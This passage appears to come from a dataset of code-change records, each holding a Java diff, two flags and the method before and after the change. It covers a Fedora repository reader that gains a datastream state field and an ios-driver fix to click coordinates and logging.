(versDateTime==null) { if (diss.dissCreateDT.getTime() > latestCreateTime) { latestCreateTime=diss.dissCreateDT.getTime(); latestCreated=diss; } } else { long diff=vTime-diss.dissCreateDT.getTime(); if (diff >= 0) { if ( (diff < bestTimeDifference) || (bestTimeDifference==-1) ) { bestTimeDifference=diff; closestWithoutGoingOver=diss; } } } } if (versDateTime==null) { return latestCreated; } else { return closestWithoutGoingOver; } } public Disseminator[] GetDisseminators(Date versDateTime, String state) { String[] ids=ListDisseminatorIDs(null); ArrayList al=new ArrayList(); for (int i=0; i<ids.length; i++) { Disseminator diss=GetDisseminator(ids[i], versDateTime); if (diss!=null && (state==null || diss.dissState.equals(state)) ) { al.add(diss); } } Disseminator[] out=new Disseminator[al.size()]; Iterator iter=al.iterator(); int i=0; while (iter.hasNext()) { out[i]=(Disseminator) iter.next(); i++; } return out; } public String[] GetBehaviorDefs(Date versDateTime) { Disseminator[] disses=GetDisseminators(versDateTime, null); String[] bDefIds=new String[disses.length]; for (int i=0; i<disses.length; i++) { bDefIds[i]=disses[i].bDefID; } return bDefIds; } public MethodDef[] getObjectMethods(String bDefPID, Date versDateTime) throws MethodNotFoundException, ServerException { if ( bDefPID.equalsIgnoreCase("fedora-system:1") || bDefPID.equalsIgnoreCase("fedora-system:3")) { throw new MethodNotFoundException("[getObjectMethods] The object, " + m_obj.getPid() + ", will not report on dynamic method definitions " + "at this time (fedora-system:1 and fedora-system:3."); } String mechPid=getBMechPid(bDefPID, versDateTime); if (mechPid==null) { return null; } MethodDef[] methods = m_repoReader.getBMechReader(m_context, mechPid). getServiceMethods(versDateTime); // Filter out parms that are internal to the mechanism and not part // of the abstract method definition. We just want user parms. for (int i=0; i<methods.length; i++) { methods[i].methodParms = filterParms(methods[i]); } return methods; } public InputStream getObjectMethodsXML(String bDefPID, Date versDateTime) throws MethodNotFoundException, ServerException { if ( bDefPID.equalsIgnoreCase("fedora-system:1") || bDefPID.equalsIgnoreCase("fedora-system:3")) { throw new MethodNotFoundException("[getObjectMethodsXML] The object, " + m_obj.getPid() + ", will not report on dynamic method definitions " + "at this time (fedora-system:1 and fedora-system:3."); } String mechPid=getBMechPid(bDefPID, versDateTime); if (mechPid==null) { return null; } return m_repoReader.getBMechReader(m_context, mechPid). getServiceMethodsXML(versDateTime); } /** * Get the parameters for a given method. The parameters returned * will be those that pertain to the abstract method definition, meaning * they will only be user-supplied parms. Mechanism-specific parms * (system default parms and datastream input parms) will be filtered out. * @param bDefPID * @param methodName * @param versDateTime * @return an array of method parameter definitions * @throws DisseminatorNotFoundException * @throws MethodNotFoundException * @throws ServerException */ public MethodParmDef[] getObjectMethodParms(String bDefPID, String methodName, Date versDateTime) throws MethodNotFoundException, ServerException { if ( bDefPID.equalsIgnoreCase("fedora-system:1") || bDefPID.equalsIgnoreCase("fedora-system:3")) { throw new MethodNotFoundException("[getObjectMethodParms] The object, " + m_obj.getPid() + ", will not report on dynamic method definitions " + "at this time (fedora-system:1 and fedora-system:3."); } // The parms are expressed in the abstract method definitions // in the behavior mechanism object. Note that the mechanism object // is used here as if it were a behavior definition object. String mechPid=getBMechPid(bDefPID, versDateTime); if (mechPid==null) { return null; } MethodDef[] methods = m_repoReader.getBMechReader(m_context, mechPid). getServiceMethods(versDateTime); for (int i=0; i<methods.length; i++) { if (methods[i].methodName.equalsIgnoreCase(methodName)) { return filterParms(methods[i]); } } throw new MethodNotFoundException("The object, " + m_obj.getPid() + ", does not have a method named '" + methodName); } /** * Filter out mechanism-specific parms (system default parms and datastream * input parms) so that what is returned is only method parms that reflect * abstract method definitions. Abstract method definitions only * expose user-supplied parms. * @param method * @return */ private MethodParmDef[] filterParms(MethodDef method) { ArrayList filteredParms = new ArrayList(); MethodParmDef[] parms = method.methodParms; for (int i=0; i<parms.length; i++) { if (parms[i].parmType.equalsIgnoreCase(MethodParmDef.USER_INPUT)) { filteredParms.add(parms[i]); } } return (MethodParmDef[])filteredParms.toArray(new MethodParmDef[0]); } /** * Gets the bmech id for the disseminator subscribing to the bdef. * * @return null if it's the bootstrap bdef * @throws DisseminatorNotFoundException if no matching disseminator * is found in the object. */ private String getBMechPid(String bDefPID, Date versDateTime) throws DisseminatorNotFoundException { if (bDefPID.equals("fedora-system:1")) { return null; } Disseminator[] disses=GetDisseminators(versDateTime, null); String bMechPid=null; for (int i=0; i<disses.length; i++) { if (disses[i].bDefID.equals(bDefPID)) { bMechPid=disses[i].bMechID; } } if (bMechPid==null) { throw new DisseminatorNotFoundException("The object, " + m_obj.getPid() + ", does not have a disseminator" + " with bdef " + bDefPID + " at " + getWhenString(versDateTime)); } return bMechPid; } protected String getWhenString(Date versDateTime) { if (versDateTime!=null) { return m_formatter.format(versDateTime); } else { return "the current time"; } } public DSBindingMapAugmented[] GetDSBindingMaps(Date versDateTime) throws ObjectIntegrityException, ServerException { Disseminator[] disses=GetDisseminators(versDateTime, null); DSBindingMapAugmented[] augMaps=new DSBindingMapAugmented[disses.length]; for (int i=0; i<disses.length; i++) { DSBindingMapAugmented augMap=new DSBindingMapAugmented(); augMap.dsBindMapID=disses[i].dsBindMap.dsBindMapID; augMap.dsBindMapLabel=disses[i].dsBindMap.dsBindMapLabel; augMap.dsBindMechanismPID=disses[i].dsBindMap.dsBindMechanismPID; DSBinding[] bindings=disses[i].dsBindMap.dsBindings; DSBindingAugmented[] augBindings=new DSBindingAugmented[bindings.length]; for (int j=0; j<bindings.length; j++) { DSBindingAugmented augBinding=new DSBindingAugmented(); augBinding.bindKeyName=bindings[j].bindKeyName; augBinding.bindLabel=bindings[j].bindLabel; augBinding.datastreamID=bindings[j].datastreamID; augBinding.seqNo=bindings[j].seqNo; // add values from the appropriate version of the datastream Datastream ds=GetDatastream(bindings[j].datastreamID, versDateTime); if (ds==null) { String whenString=getWhenString(versDateTime); throw new ObjectIntegrityException("The object, " + m_obj.getPid() + ", does not have a datastream" + " with id " + bindings[j].datastreamID + " at " + whenString + ", so the datastream binding map used by " + "disseminator " + disses[i].dissID + " at " + whenString + " is invalid."); } augBinding.DSVersionID=ds.DSVersionID; augBinding.DSControlGrp=ds.DSControlGrp; augBinding.DSLabel=ds.DSLabel; augBinding.DSMIME=ds.DSMIME; augBinding.DSLocation=ds.DSLocation; augBindings[j]=augBinding; } augMap.dsBindingsAugmented=augBindings; augMaps[i]=augMap; } return augMaps; } private String getDisseminatorID(String bDefPID) throws DisseminatorNotFoundException { String[] ids=ListDisseminatorIDs(null); ArrayList al=new ArrayList(); for (int i=0; i<ids.length; i++) { Disseminator diss=GetDisseminator(ids[i], null); if (diss.bDefID.equals(bDefPID)) { return diss.dissID; } } throw new DisseminatorNotFoundException("Cannot find a disseminator " + " subscribing to bdef " + bDefPID); } public DisseminationBindingInfo[] getDisseminationBindingInfo(String bDefPID, String methodName, Date versDateTime) throws ServerException { // Results will be returned in this array, one item per datastream DisseminationBindingInfo[] bindingInfo; // The disseminator provides the datastream bindings and the bmech pid, // which we need in order to construct the bindingInfo array. Disseminator diss=GetDisseminator(getDisseminatorID(bDefPID), versDateTime); if (diss==null) { throw new DisseminatorNotFoundException("Cannot get binding info " + "for disseminator " + bDefPID + " because the disseminator" + " was not found in this object."); } DSBinding[] dsBindings=diss.dsBindMap.dsBindings; int dsCount=dsBindings.length; bindingInfo=new DisseminationBindingInfo[dsCount]; // The bmech reader provides information about the service and params. BMechReader mech=m_repoReader.getBMechReader(m_context, diss.bMechID); MethodParmDef[] methodParms=mech.getServiceMethodParms(methodName, versDateTime); // Find the operation bindings for the method in question MethodDefOperationBind[] opBindings=mech.getServiceMethodBindings(versDateTime); String addressLocation=null; String operationLocation=null; String protocolType=null; boolean foundMethod=false; for (int i=0; i<opBindings.length; i++) { if (opBindings[i].methodName.equals(methodName)) { foundMethod=true; addressLocation=opBindings[i].serviceBindingAddress; operationLocation=opBindings[i].operationLocation; protocolType=opBindings[i].protocolType; } } if (!foundMethod) { throw new MethodNotFoundException("Method " + methodName + " was not found in " + diss.bMechID + "'s operation " + " binding."); } // For each datastream referenced by the disseminator's ds bindings, // add an element to the output array which includes key information // on the operation and the datastream. for (int i=0; i<dsCount; i++) { String dsID=dsBindings[i].datastreamID; bindingInfo[i]=new DisseminationBindingInfo(); bindingInfo[i].DSBindKey=dsBindings[i].bindKeyName; // get key info about the datastream and put it here Datastream ds=GetDatastream(dsID, versDateTime); bindingInfo[i].dsLocation=ds.DSLocation; bindingInfo[i].dsControlGroupType=ds.DSControlGrp; bindingInfo[i].dsID=dsID; bindingInfo[i].dsVersionID=ds.DSVersionID; + bindingInfo[i].dsState=ds.DSState; // these will be the same for all elements of the array bindingInfo[i].methodParms=methodParms; bindingInfo[i].AddressLocation=addressLocation; bindingInfo[i].OperationLocation=operationLocation; bindingInfo[i].ProtocolType=protocolType; } return bindingInfo; } public ObjectMethodsDef[] getObjectMethods(Date versDateTime) throws ServerException { String[] ids=ListDisseminatorIDs("A"); ArrayList methodList=new ArrayList(); ArrayList bDefIDList=new ArrayList(); for (int i=0; i<ids.length; i++) { Disseminator diss=GetDisseminator(ids[i], versDateTime); if (diss!=null) { MethodDef[] methods=getObjectMethods(diss.bDefID, versDateTime); if (methods!=null) { for (int j=0; j<methods.length; j++) { methodList.add(methods[j]); bDefIDList.add(diss.bDefID); } } } } ObjectMethodsDef[] ret=new ObjectMethodsDef[methodList.size()]; for (int i=0; i<methodList.size(); i++) { MethodDef def=(MethodDef) methodList.get(i); ret[i]=new ObjectMethodsDef(); ret[i].PID=GetObjectPID(); ret[i].bDefPID=(String) bDefIDList.get(i); ret[i].methodName=def.methodName; ret[i].methodParmDefs=def.methodParms; ret[i].asOfDate=versDateTime; } return ret; } }
true
true
public DisseminationBindingInfo[] getDisseminationBindingInfo(String bDefPID, String methodName, Date versDateTime) throws ServerException { // Results will be returned in this array, one item per datastream DisseminationBindingInfo[] bindingInfo; // The disseminator provides the datastream bindings and the bmech pid, // which we need in order to construct the bindingInfo array. Disseminator diss=GetDisseminator(getDisseminatorID(bDefPID), versDateTime); if (diss==null) { throw new DisseminatorNotFoundException("Cannot get binding info " + "for disseminator " + bDefPID + " because the disseminator" + " was not found in this object."); } DSBinding[] dsBindings=diss.dsBindMap.dsBindings; int dsCount=dsBindings.length; bindingInfo=new DisseminationBindingInfo[dsCount]; // The bmech reader provides information about the service and params. BMechReader mech=m_repoReader.getBMechReader(m_context, diss.bMechID); MethodParmDef[] methodParms=mech.getServiceMethodParms(methodName, versDateTime); // Find the operation bindings for the method in question MethodDefOperationBind[] opBindings=mech.getServiceMethodBindings(versDateTime); String addressLocation=null; String operationLocation=null; String protocolType=null; boolean foundMethod=false; for (int i=0; i<opBindings.length; i++) { if (opBindings[i].methodName.equals(methodName)) { foundMethod=true; addressLocation=opBindings[i].serviceBindingAddress; operationLocation=opBindings[i].operationLocation; protocolType=opBindings[i].protocolType; } } if (!foundMethod) { throw new MethodNotFoundException("Method " + methodName + " was not found in " + diss.bMechID + "'s operation " + " binding."); } // For each datastream referenced by the disseminator's ds bindings, // add an element to the output array which includes key information // on the operation and the datastream. for (int i=0; i<dsCount; i++) { String dsID=dsBindings[i].datastreamID; bindingInfo[i]=new DisseminationBindingInfo(); bindingInfo[i].DSBindKey=dsBindings[i].bindKeyName; // get key info about the datastream and put it here Datastream ds=GetDatastream(dsID, versDateTime); bindingInfo[i].dsLocation=ds.DSLocation; bindingInfo[i].dsControlGroupType=ds.DSControlGrp; bindingInfo[i].dsID=dsID; bindingInfo[i].dsVersionID=ds.DSVersionID; // these will be the same for all elements of the array bindingInfo[i].methodParms=methodParms; bindingInfo[i].AddressLocation=addressLocation; bindingInfo[i].OperationLocation=operationLocation; bindingInfo[i].ProtocolType=protocolType; } return bindingInfo; }
public DisseminationBindingInfo[] getDisseminationBindingInfo(String bDefPID, String methodName, Date versDateTime) throws ServerException { // Results will be returned in this array, one item per datastream DisseminationBindingInfo[] bindingInfo; // The disseminator provides the datastream bindings and the bmech pid, // which we need in order to construct the bindingInfo array. Disseminator diss=GetDisseminator(getDisseminatorID(bDefPID), versDateTime); if (diss==null) { throw new DisseminatorNotFoundException("Cannot get binding info " + "for disseminator " + bDefPID + " because the disseminator" + " was not found in this object."); } DSBinding[] dsBindings=diss.dsBindMap.dsBindings; int dsCount=dsBindings.length; bindingInfo=new DisseminationBindingInfo[dsCount]; // The bmech reader provides information about the service and params. BMechReader mech=m_repoReader.getBMechReader(m_context, diss.bMechID); MethodParmDef[] methodParms=mech.getServiceMethodParms(methodName, versDateTime); // Find the operation bindings for the method in question MethodDefOperationBind[] opBindings=mech.getServiceMethodBindings(versDateTime); String addressLocation=null; String operationLocation=null; String protocolType=null; boolean foundMethod=false; for (int i=0; i<opBindings.length; i++) { if (opBindings[i].methodName.equals(methodName)) { foundMethod=true; addressLocation=opBindings[i].serviceBindingAddress; operationLocation=opBindings[i].operationLocation; protocolType=opBindings[i].protocolType; } } if (!foundMethod) { throw new MethodNotFoundException("Method " + methodName + " was not found in " + diss.bMechID + "'s operation " + " binding."); } // For each datastream referenced by the disseminator's ds bindings, // add an element to the output array which includes key information // on the operation and the datastream. for (int i=0; i<dsCount; i++) { String dsID=dsBindings[i].datastreamID; bindingInfo[i]=new DisseminationBindingInfo(); bindingInfo[i].DSBindKey=dsBindings[i].bindKeyName; // get key info about the datastream and put it here Datastream ds=GetDatastream(dsID, versDateTime); bindingInfo[i].dsLocation=ds.DSLocation; bindingInfo[i].dsControlGroupType=ds.DSControlGrp; bindingInfo[i].dsID=dsID; bindingInfo[i].dsVersionID=ds.DSVersionID; bindingInfo[i].dsState=ds.DSState; // these will be the same for all elements of the array bindingInfo[i].methodParms=methodParms; bindingInfo[i].AddressLocation=addressLocation; bindingInfo[i].OperationLocation=operationLocation; bindingInfo[i].ProtocolType=protocolType; } return bindingInfo; }
diff --git a/server/src/main/java/org/uiautomation/ios/wkrdp/model/RemoteWebNativeBackedElement.java b/server/src/main/java/org/uiautomation/ios/wkrdp/model/RemoteWebNativeBackedElement.java index 1499d0a7..ebbff9db 100644 --- a/server/src/main/java/org/uiautomation/ios/wkrdp/model/RemoteWebNativeBackedElement.java +++ b/server/src/main/java/org/uiautomation/ios/wkrdp/model/RemoteWebNativeBackedElement.java @@ -1,297 +1,300 @@ /* * Copyright 2012-2013 eBay Software Foundation and ios-driver committers * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package org.uiautomation.ios.wkrdp.model; import com.google.common.collect.ImmutableList; import org.openqa.selenium.Dimension; import org.openqa.selenium.JavascriptExecutor; import org.openqa.selenium.Keys; import org.openqa.selenium.Point; import org.openqa.selenium.WebDriverException; import org.uiautomation.ios.IOSCapabilities; import org.uiautomation.ios.UIAModels.UIAElement; import org.uiautomation.ios.UIAModels.UIAScrollView; import org.uiautomation.ios.UIAModels.UIAWebView; import org.uiautomation.ios.UIAModels.predicate.AndCriteria; import org.uiautomation.ios.UIAModels.predicate.Criteria; import org.uiautomation.ios.UIAModels.predicate.LabelCriteria; import org.uiautomation.ios.UIAModels.predicate.NameCriteria; import org.uiautomation.ios.UIAModels.predicate.OrCriteria; import org.uiautomation.ios.UIAModels.predicate.TypeCriteria; import org.uiautomation.ios.client.uiamodels.impl.RemoteIOSDriver; import org.uiautomation.ios.communication.device.DeviceType; import org.uiautomation.ios.context.BaseWebInspector; import org.uiautomation.ios.server.ServerSideSession; import org.uiautomation.ios.server.application.ContentResult; import org.uiautomation.ios.utils.IOSVersion; import org.uiautomation.ios.utils.XPath2Engine; import java.util.ArrayList; import java.util.List; import java.util.logging.Logger; public class RemoteWebNativeBackedElement extends RemoteWebElement { private static final Logger log = Logger.getLogger(RemoteWebNativeBackedElement.class.getName()); private final ServerSideSession session; private final RemoteIOSDriver nativeDriver; private static final List<Character> specialKeys = new ArrayList<Character>() {{ this.add(Keys.DELETE.toString().charAt(0)); this.add(Keys.ENTER.toString().charAt(0)); this.add(Keys.RETURN.toString().charAt(0)); this.add(Keys.SHIFT.toString().charAt(0)); }}; public RemoteWebNativeBackedElement(NodeId id, BaseWebInspector inspector, ServerSideSession session) { super(id, inspector); this.session = session; this.nativeDriver = session.getDualDriver().getNativeDriver(); } private static String normalizeDateValue(String value) { // convert MM/DD/YYYY to YYYY-MM-DD int sep1 = value.indexOf('/'); int sep2 = value.lastIndexOf('/'); if (sep1 == -1 || sep2 == -1) return value; String mm = value.substring(0, sep1); String dd = value.substring(sep1 + 1, sep2); String yyyy = value.substring(sep2 + 1); return yyyy + '-' + to2CharDateDigit(mm) + '-' + to2CharDateDigit(dd); } private static String to2CharDateDigit(String text) { return (text.length() == 1) ? '0' + text : text; } private boolean isSafari() { return session.getApplication().isSafari(); } public void nativeClick() { if ("option".equalsIgnoreCase(getTagName())) { click(); } else { try { ((JavascriptExecutor) nativeDriver).executeScript(getNativeElementClickOnIt()); getInspector().checkForPageLoad(); } catch (Exception e) { throw new WebDriverException(e); } } } @Override public Point getLocation() throws Exception { // web stuff. //scrollIntoViewIfNeeded(); Point po = findPosition(); Dimension dim = getInspector().getSize(); int webPageWidth = getInspector().getInnerWidth(); if (dim.getWidth() != webPageWidth) { - log.fine("BUG : dim.getWidth()!=webPageWidth"); + log.warning("BUG: dim.getWidth()!=webPageWidth"); } Criteria c = new TypeCriteria(UIAWebView.class); String json = c.stringify().toString(); StringBuilder script = new StringBuilder(); script.append("var root = UIAutomation.cache.get('1');"); script.append("var webview = root.element(-1," + json + ");"); script.append("var webviewSize = webview.rect();"); script.append("var ratio = webviewSize.size.width / " + dim.getWidth() + ";"); int top = po.getY(); int left = po.getX(); - script.append("var top = (" + top + "*ratio )+1;"); - script.append("var left = (" + left + "*ratio)+1;"); + // switch +1 to +2 in next, with +1 some clicks in text fields didn't bring up the + // keyboard, the text field would get focus, but the keyboard would not launch + // also with this change 17 miscellaneous selenium tests got fixed + script.append("var top = (" + top + "*ratio)+2;"); + script.append("var left = (" + left + "*ratio)+2;"); script.append("var x = left;"); boolean ipad = session.getCapabilities().getDevice() == DeviceType.ipad; boolean ios7 = new IOSVersion(session.getCapabilities().getSDKVersion()).isGreaterOrEqualTo("7.0"); if (isSafari()) { if (ios7) { script.append("var orientation = UIATarget.localTarget().deviceOrientation();"); script.append("var landscape = orientation == UIA_DEVICE_ORIENTATION_LANDSCAPELEFT || orientation == UIA_DEVICE_ORIENTATION_LANDSCAPERIGHT;"); // TODO: why is the webView shifted by 20 script.append("var y = webviewSize.origin.y + (landscape? 20 : -20) + top;"); } else { if (ipad) { // for ipad, the adress bar h is fixed @ 96px. script.append("var y = top+96;"); } else { ImmutableList<ContentResult> results = session.getApplication().getCurrentDictionary().getPotentialMatches("Address"); if (results.size() != 1) { log.warning("translation returned " + results.size()); } ContentResult result = results.get(0); String addressL10ned = result.getL10nFormatted(); Criteria c2 = new AndCriteria(new TypeCriteria(UIAElement.class), new NameCriteria(addressL10ned), new LabelCriteria(addressL10ned)); script.append("var addressBar = root.element(-1," + c2.stringify().toString() + ");"); script.append("var addressBarSize = addressBar.rect();"); script.append("var delta = addressBarSize.origin.y +39;"); script.append("if (delta<20){delta=20;};"); script.append("var y = top+delta;"); } } } else { Criteria wv = new TypeCriteria(UIAScrollView.class); script.append("var webview = root.element(-1," + wv.stringify().toString() + ");"); script.append("var size = webview.rect();"); script.append("var offsetY = size.origin.y;"); // UIAWebView.y script.append("var y = top+offsetY;"); //script.append("var y = top+64;"); } script.append("return new Array(parseInt(x), parseInt(y));"); Object response = ((JavascriptExecutor) nativeDriver).executeScript(String.valueOf(script)); int x = ((ArrayList<Long>) response).get(0).intValue(); int y = ((ArrayList<Long>) response).get(1).intValue(); return new Point(x, y); } private String getNativeElementClickOnIt() throws Exception { // web stuff. scrollIntoViewIfNeeded(); Point location = getLocation(); return "UIATarget.localTarget().tap({'x':" + location.getX() + ",'y':" + location.getY() + "});"; } private String getKeyboardTypeStringSegement(String value) { StringBuilder script = new StringBuilder(); script.append("keyboard.typeString('"); // got to love java... // first replacing a \ (backslash) with \\ (double backslash) // and then ' (single quote) with \' (backslash, single quote) script.append(value.replaceAll("\\\\", "\\\\\\\\").replaceAll("'", "\\\\'")); script.append("');"); return script.toString(); } private String getReferenceToTapByXpath(XPath2Engine xPath2Engine, String xpath) { StringBuilder script = new StringBuilder(); script.append("UIAutomation.cache.get("); script.append(xPath2Engine.findElementByXpath(xpath).get("ELEMENT")); script.append(", false).tap();"); return script.toString(); } // TODO freynaud use keyboard.js bot.Keyboard.prototype.moveCursor = function(element) private String getNativeElementClickOnItAndTypeUsingKeyboardScript(String value) throws Exception { StringBuilder script = new StringBuilder(); script.append("var keyboard = UIAutomation.cache.get('1').keyboard();"); Boolean keyboardResigned = false; boolean ios7 = new IOSVersion(session.getCapabilities().getSDKVersion()).isGreaterOrEqualTo("7.0"); StringBuilder current = new StringBuilder(); XPath2Engine xpathEngine = null; for (int i = 0; i < value.length(); i++) { int idx = specialKeys.indexOf(value.charAt(i)); if (idx >= 0) { if (xpathEngine == null) { xpathEngine = XPath2Engine.getXpath2Engine(nativeDriver); } if (current.length() > 0) { script.append(getKeyboardTypeStringSegement(current.toString())); current = new StringBuilder(); } switch (idx) { case 0: // DELETE // TODO, i don't like this xpath... should find the key in a better way // (like keyboard.shift) script.append(getReferenceToTapByXpath(xpathEngine, "//UIAKeyboard/UIAKey[" + ( nativeDriver.getCapabilities().getDevice() == DeviceType.ipad ? (ios7? "13" : "11") : (ios7? "last()-2" : "last()-3")) + ']' )); break; case 1: case 2: // ENTER / RETURN // TODO another smelly xpath. script.append(getReferenceToTapByXpath(xpathEngine, "//UIAKeyboard/UIAButton[" + ( nativeDriver.getCapabilities().getDevice() == DeviceType.ipad ? "1" : (ios7? "4" : "2")) + ']' )); keyboardResigned = true; break; case 3: // SHIFT script.append("keyboard.shift();"); break; default: throw new RuntimeException("Special key found in the list but not taken care of??"); } } else { current.append(value.charAt(i)); } } if (current.length() > 0) { script.append(getKeyboardTypeStringSegement(current.toString())); } if (!keyboardResigned) { script.append("keyboard.hide();"); } return script.toString(); } public void setValueNative(String value) throws Exception { String type = getAttribute("type"); if ("date".equalsIgnoreCase(type)) { value = normalizeDateValue(value); setValueAtoms(value); return; } // iphone on telephone inputs only shows the keypad keyboard. if ("tel".equalsIgnoreCase(type) && nativeDriver.getCapabilities().getDevice() == DeviceType.iphone) { value = replaceLettersWithNumbersKeypad(value, (String) nativeDriver.getCapabilities() .getCapability(IOSCapabilities.LOCALE)); } ((JavascriptExecutor) nativeDriver) .executeScript(getNativeElementClickOnIt()); Thread.sleep(750); setCursorAtTheEnd(); ((JavascriptExecutor) nativeDriver) .executeScript(getNativeElementClickOnItAndTypeUsingKeyboardScript(value)); } // TODO actually handle more locales private static String replaceLettersWithNumbersKeypad(String str, String locale) { if (locale.toLowerCase().startsWith("en")) { return str.replaceAll("[AaBbCc]", "2").replaceAll("[DdEeFf]", "3").replaceAll("[GgHhIi]", "4") .replaceAll("[JjKkLl]", "5").replaceAll("[MmNnOo]", "6").replaceAll("[PpQqRrSs]", "7") .replaceAll("[TtUuVv]", "8").replaceAll("[WwXxYyZz]", "9").replaceAll("-", ""); } return str.replaceAll("-", ""); } }
false
true
public Point getLocation() throws Exception { // web stuff. //scrollIntoViewIfNeeded(); Point po = findPosition(); Dimension dim = getInspector().getSize(); int webPageWidth = getInspector().getInnerWidth(); if (dim.getWidth() != webPageWidth) { log.fine("BUG : dim.getWidth()!=webPageWidth"); } Criteria c = new TypeCriteria(UIAWebView.class); String json = c.stringify().toString(); StringBuilder script = new StringBuilder(); script.append("var root = UIAutomation.cache.get('1');"); script.append("var webview = root.element(-1," + json + ");"); script.append("var webviewSize = webview.rect();"); script.append("var ratio = webviewSize.size.width / " + dim.getWidth() + ";"); int top = po.getY(); int left = po.getX(); script.append("var top = (" + top + "*ratio )+1;"); script.append("var left = (" + left + "*ratio)+1;"); script.append("var x = left;"); boolean ipad = session.getCapabilities().getDevice() == DeviceType.ipad; boolean ios7 = new IOSVersion(session.getCapabilities().getSDKVersion()).isGreaterOrEqualTo("7.0"); if (isSafari()) { if (ios7) { script.append("var orientation = UIATarget.localTarget().deviceOrientation();"); script.append("var landscape = orientation == UIA_DEVICE_ORIENTATION_LANDSCAPELEFT || orientation == UIA_DEVICE_ORIENTATION_LANDSCAPERIGHT;"); // TODO: why is the webView shifted by 20 script.append("var y = webviewSize.origin.y + (landscape? 20 : -20) + top;"); } else { if (ipad) { // for ipad, the adress bar h is fixed @ 96px. script.append("var y = top+96;"); } else { ImmutableList<ContentResult> results = session.getApplication().getCurrentDictionary().getPotentialMatches("Address"); if (results.size() != 1) { log.warning("translation returned " + results.size()); } ContentResult result = results.get(0); String addressL10ned = result.getL10nFormatted(); Criteria c2 = new AndCriteria(new TypeCriteria(UIAElement.class), new NameCriteria(addressL10ned), new LabelCriteria(addressL10ned)); script.append("var addressBar = root.element(-1," + c2.stringify().toString() + ");"); script.append("var addressBarSize = addressBar.rect();"); script.append("var delta = addressBarSize.origin.y +39;"); script.append("if (delta<20){delta=20;};"); script.append("var y = top+delta;"); } } } else { Criteria wv = new TypeCriteria(UIAScrollView.class); script.append("var webview = root.element(-1," + wv.stringify().toString() + ");"); script.append("var size = webview.rect();"); script.append("var offsetY = size.origin.y;"); // UIAWebView.y script.append("var y = top+offsetY;"); //script.append("var y = top+64;"); } script.append("return new Array(parseInt(x), parseInt(y));"); Object response = ((JavascriptExecutor) nativeDriver).executeScript(String.valueOf(script)); int x = ((ArrayList<Long>) response).get(0).intValue(); int y = ((ArrayList<Long>) response).get(1).intValue(); return new Point(x, y); }
public Point getLocation() throws Exception { // web stuff. //scrollIntoViewIfNeeded(); Point po = findPosition(); Dimension dim = getInspector().getSize(); int webPageWidth = getInspector().getInnerWidth(); if (dim.getWidth() != webPageWidth) { log.warning("BUG: dim.getWidth()!=webPageWidth"); } Criteria c = new TypeCriteria(UIAWebView.class); String json = c.stringify().toString(); StringBuilder script = new StringBuilder(); script.append("var root = UIAutomation.cache.get('1');"); script.append("var webview = root.element(-1," + json + ");"); script.append("var webviewSize = webview.rect();"); script.append("var ratio = webviewSize.size.width / " + dim.getWidth() + ";"); int top = po.getY(); int left = po.getX(); // switch +1 to +2 in next, with +1 some clicks in text fields didn't bring up the // keyboard, the text field would get focus, but the keyboard would not launch // also with this change 17 miscellaneous selenium tests got fixed script.append("var top = (" + top + "*ratio)+2;"); script.append("var left = (" + left + "*ratio)+2;"); script.append("var x = left;"); boolean ipad = session.getCapabilities().getDevice() == DeviceType.ipad; boolean ios7 = new IOSVersion(session.getCapabilities().getSDKVersion()).isGreaterOrEqualTo("7.0"); if (isSafari()) { if (ios7) { script.append("var orientation = UIATarget.localTarget().deviceOrientation();"); script.append("var landscape = orientation == UIA_DEVICE_ORIENTATION_LANDSCAPELEFT || orientation == UIA_DEVICE_ORIENTATION_LANDSCAPERIGHT;"); // TODO: why is the webView shifted by 20 script.append("var y = webviewSize.origin.y + (landscape? 20 : -20) + top;"); } else { if (ipad) { // for ipad, the adress bar h is fixed @ 96px. script.append("var y = top+96;"); } else { ImmutableList<ContentResult> results = session.getApplication().getCurrentDictionary().getPotentialMatches("Address"); if (results.size() != 1) { log.warning("translation returned " + results.size()); } ContentResult result = results.get(0); String addressL10ned = result.getL10nFormatted(); Criteria c2 = new AndCriteria(new TypeCriteria(UIAElement.class), new NameCriteria(addressL10ned), new LabelCriteria(addressL10ned)); script.append("var addressBar = root.element(-1," + c2.stringify().toString() + ");"); script.append("var addressBarSize = addressBar.rect();"); script.append("var delta = addressBarSize.origin.y +39;"); script.append("if (delta<20){delta=20;};"); script.append("var y = top+delta;"); } } } else { Criteria wv = new TypeCriteria(UIAScrollView.class); script.append("var webview = root.element(-1," + wv.stringify().toString() + ");"); script.append("var size = webview.rect();"); script.append("var offsetY = size.origin.y;"); // UIAWebView.y script.append("var y = top+offsetY;"); //script.append("var y = top+64;"); } script.append("return new Array(parseInt(x), parseInt(y));"); Object response = ((JavascriptExecutor) nativeDriver).executeScript(String.valueOf(script)); int x = ((ArrayList<Long>) response).get(0).intValue(); int y = ((ArrayList<Long>) response).get(1).intValue(); return new Point(x, y); }
diff --git a/src/thothbot/parallax/core/client/shader/ShaderNormalMap.java b/src/thothbot/parallax/core/client/shader/ShaderNormalMap.java index 93dfd694..766dc404 100644 --- a/src/thothbot/parallax/core/client/shader/ShaderNormalMap.java +++ b/src/thothbot/parallax/core/client/shader/ShaderNormalMap.java @@ -1,131 +1,131 @@ /* * Copyright 2012 Alex Usachev, [email protected] * * This file is part of Parallax project. * * Parallax is free software: you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation, either version 3 of the License, or (at your * option) any later version. * * Parallax is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * for more details. * * You should have received a copy of the GNU General Public License along with * Parallax. If not, see http://www.gnu.org/licenses/. */ package thothbot.parallax.core.client.shader; import java.util.Arrays; import java.util.List; import thothbot.parallax.core.shared.core.Color3f; import thothbot.parallax.core.shared.core.Vector2f; import thothbot.parallax.core.shared.core.Vector3f; import com.google.gwt.core.client.GWT; import com.google.gwt.resources.client.TextResource; /** * Normal map shader<br> * - Blinn-Phong<br> * - normal + diffuse + specular + AO + displacement + reflection + shadow maps<br> * - point and directional lights (use with "lights: true" material option) * <p> * Based on three.js code. * * @author thothbot * */ public final class 